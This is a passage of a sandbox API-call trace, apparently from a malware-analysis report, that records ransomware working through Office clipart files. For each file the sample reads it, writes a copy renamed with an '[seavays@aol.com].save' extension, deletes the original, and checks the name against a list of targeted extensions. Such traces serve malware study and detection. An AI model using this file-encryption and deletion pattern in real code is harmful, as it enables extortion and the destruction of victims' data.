lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0190.458] SetEndOfFile (hFile=0x55c) returned 1 [0190.458] CloseHandle (hObject=0x55c) returned 1 [0190.458] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0190.459] SetEndOfFile (hFile=0x36c) returned 1 [0190.463] CloseHandle (hObject=0x36c) returned 1 [0190.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf")) returned 1 [0190.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0190.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0190.465] lstrlenW (lpString=".doc") returned 4 [0190.466] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.466] lstrlenW (lpString=".docx") returned 5 [0190.466] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0190.466] lstrlenW (lpString=".pdf") returned 4 [0190.466] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.466] lstrlenW (lpString=".xls") returned 4 [0190.466] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.466] lstrlenW (lpString=".xlsx") returned 5 [0190.466] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0190.466] lstrlenW (lpString=".ppt") returned 4 [0190.467] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0190.467] lstrlenW (lpString=".zip") returned 4 [0190.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.467] lstrlenW (lpString=".rar") returned 4 [0190.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.467] lstrlenW (lpString=".bz2") returned 4 [0190.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.467] lstrlenW (lpString=".7z") returned 3 [0190.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0190.467] lstrlenW (lpString=".dbf") returned 4 [0190.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0190.467] lstrlenW (lpString=".1cd") returned 4 [0190.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0190.468] lstrlenW (lpString=".jpg") returned 4 [0190.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.469] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=59734) returned 1 [0190.469] CloseHandle (hObject=0x36c) returned 1 [0190.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf")) returned 0x220 [0190.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0190.472] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0190.472] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0190.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0190.473] GetLastError () returned 0x0 [0190.473] ReadFile (in: hFile=0x36c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xe956, lpOverlapped=0x0) returned 1 [0190.479] WriteFile (in: hFile=0x55c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xe960, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xe960, lpOverlapped=0x0) returned 1 [0190.482] ReadFile (in: hFile=0x36c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0190.482] WriteFile (in: hFile=0x55c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0190.482] SetEndOfFile (hFile=0x55c) returned 1 [0190.483] CloseHandle (hObject=0x55c) returned 1 [0190.483] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0190.483] SetEndOfFile (hFile=0x36c) returned 1 [0190.666] CloseHandle (hObject=0x36c) returned 1 [0190.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf")) returned 1 [0191.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0191.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0191.012] lstrlenW (lpString=".doc") returned 4 [0191.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.012] lstrlenW (lpString=".docx") returned 5 [0191.012] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0191.012] lstrlenW (lpString=".pdf") returned 4 [0191.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.012] lstrlenW (lpString=".xls") returned 4 [0191.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.012] lstrlenW (lpString=".xlsx") returned 5 [0191.012] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0191.012] lstrlenW (lpString=".ppt") returned 4 [0191.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0191.012] lstrlenW (lpString=".zip") returned 4 [0191.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.012] lstrlenW (lpString=".rar") returned 4 [0191.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.013] lstrlenW (lpString=".bz2") returned 4 [0191.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.013] lstrlenW (lpString=".7z") returned 3 [0191.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0191.013] lstrlenW (lpString=".dbf") returned 4 [0191.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0191.013] lstrlenW (lpString=".1cd") returned 4 [0191.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF") returned 68 [0191.013] lstrlenW (lpString=".jpg") returned 4 [0191.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.014] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=39330) returned 1 [0191.014] CloseHandle (hObject=0x564) returned 1 [0191.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf")) returned 0x220 [0191.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0191.016] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0191.016] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0191.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0191.019] GetLastError () returned 0x0 [0191.019] ReadFile (in: hFile=0x564, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x99a2, lpOverlapped=0x0) returned 1 [0191.022] WriteFile (in: hFile=0x388, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x99b0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x99b0, lpOverlapped=0x0) returned 1 [0191.025] ReadFile (in: hFile=0x564, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0191.025] WriteFile (in: hFile=0x388, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0191.025] SetEndOfFile (hFile=0x388) returned 1 [0191.025] CloseHandle (hObject=0x388) returned 1 [0191.025] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0191.025] SetEndOfFile (hFile=0x564) returned 1 [0191.031] CloseHandle (hObject=0x564) returned 1 [0191.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf")) returned 1 [0191.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0191.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0191.033] lstrlenW (lpString=".doc") returned 4 [0191.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.034] lstrlenW (lpString=".docx") returned 5 [0191.034] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0191.034] lstrlenW (lpString=".pdf") returned 4 [0191.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.034] lstrlenW (lpString=".xls") returned 4 [0191.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.034] lstrlenW (lpString=".xlsx") returned 5 [0191.034] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0191.034] lstrlenW (lpString=".ppt") returned 4 [0191.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0191.034] lstrlenW (lpString=".zip") returned 4 [0191.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.034] lstrlenW (lpString=".rar") returned 4 [0191.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.034] lstrlenW (lpString=".bz2") returned 4 [0191.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.034] lstrlenW (lpString=".7z") returned 3 [0191.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0191.034] lstrlenW (lpString=".dbf") returned 4 [0191.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0191.034] lstrlenW (lpString=".1cd") returned 4 [0191.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0191.035] lstrlenW (lpString=".jpg") returned 4 [0191.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.036] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=20662) returned 1 [0191.037] CloseHandle (hObject=0x564) returned 1 [0191.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf")) returned 0x220 [0191.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0191.039] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0191.039] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0191.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0191.040] GetLastError () returned 0x0 [0191.041] ReadFile (in: hFile=0x564, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x50b6, lpOverlapped=0x0) returned 1 [0191.043] WriteFile (in: hFile=0x388, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x50c0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x50c0, lpOverlapped=0x0) returned 1 [0191.047] ReadFile (in: hFile=0x564, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0191.047] WriteFile (in: hFile=0x388, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0191.047] SetEndOfFile (hFile=0x388) returned 1 [0191.047] CloseHandle (hObject=0x388) returned 1 [0191.047] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0191.047] SetEndOfFile (hFile=0x564) returned 1 [0191.284] CloseHandle (hObject=0x564) returned 1 [0191.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf")) returned 1 [0191.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0191.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0191.928] lstrlenW (lpString=".doc") returned 4 [0191.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.928] lstrlenW (lpString=".docx") returned 5 [0191.928] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0191.928] lstrlenW (lpString=".pdf") returned 4 [0191.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.929] lstrlenW (lpString=".xls") returned 4 [0191.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.929] lstrlenW (lpString=".xlsx") returned 5 [0191.929] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0191.929] lstrlenW (lpString=".ppt") returned 4 [0191.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0191.929] lstrlenW (lpString=".zip") returned 4 [0191.929] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.929] lstrlenW (lpString=".rar") returned 4 [0191.929] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.929] lstrlenW (lpString=".bz2") returned 4 [0191.929] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.929] lstrlenW (lpString=".7z") returned 3 [0191.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0191.929] lstrlenW (lpString=".dbf") returned 4 [0191.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0191.929] lstrlenW (lpString=".1cd") returned 4 [0191.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0191.929] lstrlenW (lpString=".jpg") returned 4 [0191.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.871] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=8666) returned 1 [0192.871] CloseHandle (hObject=0x518) returned 1 [0192.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf")) returned 0x220 [0193.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0193.099] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0193.099] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0193.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.100] GetLastError () returned 0x0 [0193.100] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x21da, lpOverlapped=0x0) returned 1 [0193.103] WriteFile (in: hFile=0x370, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x21e0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x21e0, lpOverlapped=0x0) returned 1 [0193.105] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0193.105] WriteFile (in: hFile=0x370, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0193.105] SetEndOfFile (hFile=0x370) returned 1 [0193.105] CloseHandle (hObject=0x370) returned 1 [0193.105] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0193.105] SetEndOfFile (hFile=0x344) returned 1 [0193.110] CloseHandle (hObject=0x344) returned 1 [0193.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186346.wmf")) returned 1 [0193.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0193.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0193.112] lstrlenW (lpString=".doc") returned 4 [0193.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.112] lstrlenW (lpString=".docx") returned 5 [0193.112] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0193.112] lstrlenW (lpString=".pdf") returned 4 [0193.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.112] lstrlenW (lpString=".xls") returned 4 [0193.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.112] lstrlenW (lpString=".xlsx") returned 5 [0193.112] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0193.112] lstrlenW (lpString=".ppt") returned 4 [0193.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0193.112] lstrlenW (lpString=".zip") returned 4 [0193.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.112] lstrlenW (lpString=".rar") returned 4 [0193.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.113] lstrlenW (lpString=".bz2") returned 4 [0193.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.113] lstrlenW (lpString=".7z") returned 3 [0193.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0193.113] lstrlenW (lpString=".dbf") returned 4 [0193.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0193.113] lstrlenW (lpString=".1cd") returned 4 [0193.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0193.113] lstrlenW (lpString=".jpg") returned 4 [0193.113] lstrcmpiW (lpString1=".jpg", 